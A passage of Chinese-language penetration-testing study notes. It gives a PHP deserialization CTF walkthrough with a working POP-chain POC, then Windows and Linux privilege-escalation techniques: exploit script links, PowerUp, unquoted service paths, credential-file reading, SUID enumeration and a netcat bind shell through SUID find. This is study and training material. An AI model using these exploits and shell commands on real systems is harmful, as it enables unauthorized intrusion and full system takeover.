  public function __wakeup()
  {
    $this->a = 1;
    $this->b = 2;
    $this->c = 3;
  }
}
class B
{
  public $a;
  private $b;
  protected $c;
  public function __construct($a, $b, $c)
  {
    $this->a = $a;
    $this->b = $b;
    $this->c = $c;
  }
  public function b()
  {
    echo $this->b;
  }
  public function __toString()
  {
    $this->a->a($this->b);
    return 'this is B';
  }
}
if (isset($_GET['str']))
  unserialize($_GET['str']);
  1. 这题比较简单,只有两个类,类A中有读取flag文件的方法flag(),还有wakeup方法,起点基本就是类A
  2. 这里A类里有wakeup魔术方法会对A类下面的属性赋值,所以需要绕过,绕过很简单。属性的数量加1即可,然后destruct魔术方法返回了”this a:”与A类下的属性a的值进行拼接
  3. 如果属性a的值为一个对象,会触发tostring魔术方法,刚好B类中有这个魔术方法,并且调用了B类中的属性A的a方法,如果有call魔术方法会进行调用,恰好A类中有call魔术方法。
  4. call返回了call_user_func()函数,这里我看了半天没看明白,最后的在别的师傅的指导下我看明白了,[arguments[0]]就是arguments[0],也就是说我们如果要调用这个flag,需要name==A,$arguments[0]==flag.构造poc即可
    POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class A
{
  public $a;
  private $b;
  protected $c; 
}
class B
{
  public $a;
  private $b;
  protected $c;
  public function __construct()
  {
    $this->b='flag';
  }
}
$t=new A();
$s=new B();
$s->a=$t;
$t->a=$s;
$p=serialize($t);
$p=str_replace('A":3','A":4',$p);
echo $p;
echo '</br>';
echo urlencode($p);

系统常见命令

参考链接:https://www.cnblogs.com/kekec/p/3662125.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ipconfig /all 查询网络配置
dir 列出当前目录下的文件以及文件夹
whoami 显示当前用户
cd /d d: 进入d盘
md test 创建名为test的文件夹
copy nul 1.txt 创建空文件
type 1.txt 查看文件内容
del 1.txt 删除文件
del /f test 删除 test 文件夹下的所有文件
copy 1.txt d:\doc 将1.txt复制到 d:\doc 下
net user 查看所有用户
net user test 查看test用户信息
net user test password /add 添加用户
net user test /delete 删除 test 用户
net user test newPassword 重置 test 用户密码
tasklist 显示当前的进程信息
taskkill /im notedpad.exe 结束名为 notepad 的进程
taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号
netstat -ano 查看开启的端口连接情况
findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
sc delete 服务名 删除服务
systeminfo 查看操作系统等版本信息
netstat -ano 查看端口列表
set 环境变量

具体操作

内核溢出漏洞提权

systeminfo 根据缺失补丁进行判断

提权辅助页面:https://i.hacking8.com/tiquan/

将补丁号输入,查询可利用的 windows 提权

利用 windows-Exploit Suggester 进行检测

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

MS16-032

补丁:KB3139914

exp:https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1

注意这里是 .空格.\xxx.ps1 图片

在弹出来的 cmd 中执行 whoami 发现成功提权

服务权限配置错误

当碰到无法通过内核溢出漏洞来提权的时候可以尝试利用系统中的错误配置来进行提权,例如管理员配置错误,服务器凭证配置错误等

PowerUp

地址:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

注册表键 AlwaysInstallElevated
AlwaysInstallElevated是一个策略设置项,Windows 允许低权限用户以 system 权限运行安装文件,如果开启了这个策略的话那么任何权限的用户都能以 system权限来安装恶意 MSI

当设置了该项之后,注册表的这里会置1

图片

可信服务路径漏洞

简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe,那么我们的恶意程序就会以system权限运行

可以利用如下命令来进行检测

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """

令牌窃取

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动

SweetPotato

编译好的版本:https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato

BypassUAC

bypassUAC已经是老生长谈的话题了,用户帐户控制(UAC),它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改

msf 的payload 中有对应的 bypass 模块

什么是权限

在Linux 系统中,ls -al 即可查看列出文件所属的权限

1
2
3
4
drwxr-xr-x  2 kali kali    4096 Jan 27 12:52 Downloads
-rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html
-rw-r--r-- 1 root root 153600 May 5 09:42 flag
lrwxrwxrwx 1 kali kali 28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
1
-rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt

这里可以分为7个字段。

  • 第一组数据 -rw-r--r--
    第一位:

- : 代表普通文件

d:代表目录

l:代表软链接

b:代表块文件

c:代表字符设备

第二及后面几位,分别三个为一组:

rw-r--r-- 代表文件所属的权限

r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行

  1. rw- 表示文件所拥有者的权限。
  2. r-- 表示文件所在组的用户的权限。
  3. r-- 表示其他组的用户的权限。
  4. 第二组数据 1
    1. 如果文件类型为目录,表示目录下的字目录个数
    2. 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
  5. 第三组数据 root . 表示该文件所有者为root 用户
  6. 第四组数据root. 表示该文件所在组为root 组
  7. 第五组数据56 表示文件的大小为多少字节。如果为一个目录,则为4096。
  8. 第六组数据表示最后一次修改时间
  9. 第七组数据表示文件名称
    如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录。另外对于rwx,我们可以用数字进行替代,r=4,x=1,w=2

前置知识:

常见目录

1
2
3
4
5
6
7
8
9
这里简单说一下比较常见的目录
/bin: 里面存的都是比较基本的系统二进制命令类似 ls rm 等
/etc:其中基本都是文本文件用来设置我们的系统的,例如常见的 /etc/passwd /etc/shadow ,在 /etc/shadow 中用户的账号密码
/proc:并不存在硬盘上而是在内存中,其中记录了系统内核运行的一些信息
/usr/bin:一些应用程序的可执行部分
/usr/local/bin: 本地增加的命令,例如:python pip 等
/var/log:各种程序的日志,之前说的 apache nginx 日志就在这里面
/tmp:存放临时文件
.ssh:id_rsa.pub 公钥,id_rsa 私钥,authorized_keys授权文件,将公钥添加到 authorized_keys 中就可以不利用密码进行连接了, rsa_id.pub 和 id_rsa.pub 一般为 644 ,但是 id_rsa 一定要为 600

提权-信息搜集

要想成功提权,就要进行充分的信息搜集。

提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用

基础信息搜集

内核,操作系统,设备信息

1
2
3
4
5
6
7
uname -a    打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息

用户和群组

1
2
3
4
5
6
7
cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /etc/group 列出系统上的所有组
whoami 查看当前用户
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息

用户权限信息

1
2
3
4
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作

环境信息

1
2
3
4
5
6
7
8
env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc

进程和服务

1
2
3
4
ps aux
ps -ef
top
cat /etc/services

查看以root 运行的进程

1
2
ps aux | grep root
ps -ef | grep root

查看安装的软件

1
2
ls -alh /usr/bin/
dpkg -l

日志文件

1
2
3
4
5
6
7
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log

交互式shell

1
2
3
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

可提权SUID && GUID

参考:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

1
2
3
4
5
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

查看可写/执行目录

1
2
3
4
5
6
7
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

具体操作

SUID 提权

suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权
P神文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

常见的可用来提权的Linux 可执行文件有:Nmap, Vim, find, bash, more, less, nano, cp

查看可以suid 提权的可执行文件

1
find / -perm -u=s -type f 2>/dev/null
1
2
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find

find一般用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。比如在DC-1靶机中就能使用find进行提权
图片

绝大部分Linux系统都自带nc,所以也可以用nc进行反弹shell之类的操作

1
find aaa - exec nc -lvp 5555 -e /bin/sh \;
  • nmap
    老版本nmap 具有交互模式,version 2.02~5.21(5.2.0)

namp -V 查看nmap 版本信息

nmap --interactive